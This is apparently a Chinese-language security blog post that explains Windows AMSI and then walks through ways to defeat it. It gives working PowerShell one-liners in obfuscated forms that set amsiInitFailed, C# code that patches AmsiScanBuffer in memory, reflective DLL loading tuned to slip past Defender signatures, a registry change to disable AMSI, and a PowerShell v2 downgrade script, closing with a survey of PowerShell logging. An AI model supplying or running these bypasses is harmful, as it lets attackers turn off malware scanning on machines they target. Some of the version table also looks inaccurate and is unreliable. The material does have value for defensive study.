原创 | AMSI 浅析及绕过

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0x00 前言

0x01  AMSI浅析

1、什么是AMSI？

AMSI（Antimalware Scan Interface），即反恶意软件扫描接口，在windows 10和 windows server 2016上默认安装并启用。顾名思义，他的工作就是扫描、检测和阻止。windows 10和windows server2016中AMSI默认杀软就是Windows Defender。

2、AMSI是如何运作的？

服务和应用程序可以通过AMSI来与系统中已安装的反病毒软件进行通信，也就是Windows Defender，AMSI采用了hook方法进行检测，详细的工作原理如下：

• 创建PowerShell进程时，AMSI.DLL将从磁盘加载到其内存地址空间。
• 在AMSI.DLL中，有一个名为AmsiScanBuffer()的函数，是用来扫描脚本内容的函数。
• 在PowerShell中执行命令时，任何内容都将首先发送到AmsiScanBuffer()，然后再执行。
• 随后，AmsiScanBuffer()将Windows Defender检查，以确定是否创建了任何签名。
• 如果该内容被认为是恶意的，它将被阻止运行。

在Windows 10上，实现AMSI的所有组件如下：

• 用户帐户控制，或UAC(EXE、COM、MSI或ActiveX时的权限提升)
• Powershell(脚本、交互式使用和动态代码执行)
• Windows脚本主机(wscript.exe和cscript.exe)
• JavaScript和VBScript
• Office VBA宏

AMSI的整体架构如图所示：

0x02  绕过AMSI检测

注：AMSI使用“基于字符串的”检测措施来确定PowerShell代码是否恶意。

1、绕过字符串检测

先查看一个示例：

如图，"amsiutils" 这个词被禁止了，AMSI认为这是一个恶意攻击。

那我们如何绕过字符串检测呢，最简单的一个方法就是使用编码或者分割成块，然后拼接来绕过

下面列出三钟方法

（1）直接把单词分成两块或者多块然后进行拼接，达到绕过的效果，但在大多数情况下可能会失败

（2）进行base64编码直接绕过AMSI，在某些情况下，base64一下直接绕过去了

（3）使用XOR来绕过AMSI，并在运行时将字符串解码回内存。这比上面的base64方法更有效

当然还有其他编码方式可以自行尝试，上面这几种方法都是为了绕过"字符串检测"，但是实际过程中，我们需要执行我们的脚本，也就脚本被AMSI阻止，我们通过一个实例来演示下绕过AMSI。

最早的绕过AMSI的方法是16年一个老外发布的，命令如下

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

我们把它放到powershell中运行，直接被AMSI阻止

因此，我们尝试上面方法，分割重组来实现一个简单的AMSI 绕过

$a = [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')
$b = $a.GetField('amsiInitFailed','NonPublic,Static')
$b.SetValue($null,$true)

然后我们尝试单行执行此命令，我们可以看到前两行被AMSI阻止

所以，我们重新调整一下我们的代码，然后我们就绕过了AMSI，加载了我们的脚本

$a = 'System.Management.Automation.A';$b = 'ms';$c = 'Utils'
$d = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$c))
$e = $d.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$e.SetValue($null,$true)

当然也可以使用base64编码，或者使用hex编码,效果都是一样的

base64编码

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

hex编码

[Ref].Assembly.GetType('System.Management.Automation.'+$("41 6D 73 69 55 74 69 6C 73".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result=$result+$_};$result)).GetField($("61 6D 73 69 49 6E 69 74 46 61 69 6C 65 64".Split(" ")|forEach{[char]([convert]::toint16($_,16))}|forEach{$result2=$result2+$_};$result2),'NonPublic,Static').SetValue($null,$true)

2、通过Memory Patching绕过AMSI

这种方法并没有实际的绕过，而是禁用了AMSI，从powershell3.0开始，我们要完全绕过AMSI并执行任意powershell脚本的话，就需要完全禁用它

这是原作者的代码，把如下代码编译成C#的DLL，使用反射加载技术

using System;
using System.Runtime.InteropServices;

namespace Bypass
{
    public class AMSI
    {
        [DllImport("kernel32")]
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
        [DllImport("kernel32")]
        public static extern IntPtr LoadLibrary(string name);
        [DllImport("kernel32")]
        public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);

        [DllImport("Kernel32.dll", EntryPoint = "RtlMoveMemory", SetLastError = false)]
        static extern void MoveMemory(IntPtr dest, IntPtr src, int size);


        public static int Disable()
        {
            IntPtr TargetDLL = LoadLibrary("amsi.dll");
            if (TargetDLL == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve amsi.dll pointer.");
                return 1;
            }

            IntPtr AmsiScanBufferPtr = GetProcAddress(TargetDLL, "AmsiScanBuffer");
            if (AmsiScanBufferPtr == IntPtr.Zero)
            {
                Console.WriteLine("ERROR: Could not retrieve AmsiScanBuffer function pointer");
                return 1;
            }

            UIntPtr dwSize = (UIntPtr)5;
            uint Zero = 0;
            if (!VirtualProtect(AmsiScanBufferPtr, dwSize, 0x40, out Zero))
            {
                Console.WriteLine("ERROR: Could not change AmsiScanBuffer memory permissions!");
                return 1;
            }

            
            Byte[] Patch = { 0x31, 0xff, 0x90 };
            IntPtr unmanagedPointer = Marshal.AllocHGlobal(3);
            Marshal.Copy(Patch, 0, unmanagedPointer, 3);
            MoveMemory(AmsiScanBufferPtr + 0x001b, unmanagedPointer, 3);

            Console.WriteLine("AmsiScanBuffer patch has been applied.");
            return 0;
        }
    }
}

命名为"source.cs"

然后我们使用powershell来编译它，在同目录下打开powershell，运行以下命令编译

Add-Type -TypeDefinition ([IO.File]::ReadAllText("$pwd\Source.cs")) -ReferencedAssemblies "System.Windows.Forms" -OutputAssembly "Bypass-AMSI.dll"

编译后运行，直接被Defender给秒了（这里我把文件还原了一下，给大家看下效果图）

然后我们把dll文件进行base64编码****（Kali下，直接使用base64-i文件名，就可以得到base64编码）****，然后使用powershell进行武器化，反射加载,也是直接被秒

unction Bypass-AMSI
{
    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
        [Reflection.Assembly]::Load([Convert]::FromBase64String("你的base64编码")) | Out-Null
        Write-Output "DLL has been reflected";
    }
    [Bypass.AMSI]::Disable()
}

如图，直接被秒

通过上面的知识，我们知道AMSI是基于字符串的检测**，那我们就用工具去定位一下查杀点在哪。**

工具地址：
https://github.com/RythmStick/AMSITrigger

如上图所示，我们定位出查杀点是****"Bypass-AMSI、Bypass.AMSI、和一些base64中的一些字段"****。下面，我们尝试对我们的脚本进行一个免杀处理，我们直接base64编码转换成byte数组

 $string = ''
 $a = [System.Convert]::FromBase64String('你的base64编码')
 $a | foreach {$string = $string + $_.ToString()+','}
 $string

然后修改我们的源代码，加载数组

function Bypass-AMSI
{
    if(-not ([System.Management.Automation.PSTypeName]"Bypass.AMSI").Type) {
        [Reflection.Assembly]::Load([byte[]]@(这里是上面得到的byte数组)) | Out-Null
        Write-Output "DLL has been reflected";
    }
    [Bypass.AMSI]::Disable();
}

然后我们再去检测一下，这次只剩下****"Bypass-AMSI、Bypass.AMSI"****关键字

这里，如果我们直接修改这几个关键字会导致脚本运行直接报错，因为这个是运用的反射方法，不了解反射的小伙伴，去Google一下，这里我们直接修改前面的source.cs中的代码，只需要修改namespace、public class即可，如下图

然后编译成DLL，进行base64编码，然后转换byte数组，然后修改ps1脚本，修改完的如下：

测试下效果，已经绕过AMSI

3、禁用AMSI

修改注册表，将
HKCU\Software\Microsoft\Windows Script\Settings\AmsiEnable
的值置为0

当然关闭Windows Defender 也可以使系统自带的AMSI检测无效化，这里注意当前权限。

然后直接执行命令和加载脚本都不会拦截

4、powershell版本降级绕过

powershell v2 版本不支持AMSI，我们可以将目标主机中的powershell降级至powershell v2版本。

代码如下:

if ($ShowOnly -eq $True)
{
        Write-Output "If .Net version 2.0.50727 is installed, run powershell -v 2 and run scripts from the new PowerShell process."
}
else
{
        Write-Verbose "Checking if .Net version 2.0.50727 is installed."
        $versions = Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select -ExpandProperty Version
    if($versions -match "2.0.50727")
    {
            Write-Verbose ".Net version 2.0.50727 found."
            Write-Output "Executing the bypass."
            powershell.exe -version 2
    }
    else
    {
            Write-Verbose ".Net version 2.0.50727 not found. Can't start PowerShell v2."
    }
}

保存为 V2.ps1，运行即可绕过AMSI

5、一键Bypass AMSI

这里使用的是一个在线平台，平台可以直接生成powershell代码，这些代码可以直接破坏或者禁用当前进程的AMSI，每次生成的代码都是被混淆的，所以完全不担心会被检测到。

地址：https://amsi.fail/

效果如下图：

6、其他一些方法

利用反射将内存中AmsiScanBuffer方法的检测长度置为0

脚本地址：
https://gist.github.com/shantanu561993/6483e524dc225a188de04465c8512909

直接本地或者远程加载即可绕过AMSI

Nishang也自带了bypassamsi的脚本，自行做免杀，避免上传被秒

地址：
https://github.com/samratashok/nishang/blob/master/Bypass/Invoke-AmsiBypass.ps1

其他一些过时的方法，我就不加了

0x03  powershell日志浅析

上面咱们说完了怎么绕过AMSI，下面咱们来说下powershell日志。

默认情况下，这四种日志功能默认是不开启的，但是在实际渗透中，系统肯定是默认开启日志记录的

关于日志的查看方法在事件查看器中**，下面我们来分别看下这四种**日志类型

1、模块(module)日志

事件ID：4103

路径：
Microsoft > Windows > PowerShell/Operational

作用：可以为 powershell 模块启动日志记录

使用Get-Module -ListAvailable可以获取可用的模块名

2、管道执行(pipeline execute)日志

事件ID：800

路径：事件管理器 > 应用程序和服务日志 > Windows PowerShell

作用：记录 powershell 管道执行过程的事件简介

3、脚本块(script block)日志

事件id：4104

路径：
Microsoft > Windows > PowerShell/Operational

作用：powershell 讲记录命令、脚本块、函数和脚本的处理

4、脚本转换(transcripttion)日志

可以将 powershell 命令的输入和输出捕获到文本中

四种日志记录内容的对比

日志详情	模块日志	管道执行日志	脚本块日志	脚本转换日志
执行命令	有	有	有（包括脚本内容）	有
上下文信息	有	有	无	有
参数绑定详情	有	有	无	无
解码/解混淆代码	无	无	有	有
命令输出	无	无	无	有

powershell 每个版本对日志功能的对比

日志类型	V2版本	V3版本	V4版本	V5版本
模块日志	无	支持	支持（V3增强）	支持
管道执行日志	支持	支持	支持	支持
脚本块日志	无	无	支持	支持（自动记录恶意命令）
脚本转换日志	无	无	支持	支持（V4增强）

不同操作系统默认的powershell版本

操作系统	默认Powershell版本	可支持Powershell版本
Windows Server 2008(SP2)	2.0	3.0
Windows Server 2008 R2(SP1)	5.1	5.1
Windows Server 2012	3.0	5.1
Windows Server 2012(R2)	4.0	5.1
Windows 7(SP1)	5.1	5.1
Windows 8	3.0	5.1
Windows 8.1	4.0	5.1
Windows 10	5.0	5.1#

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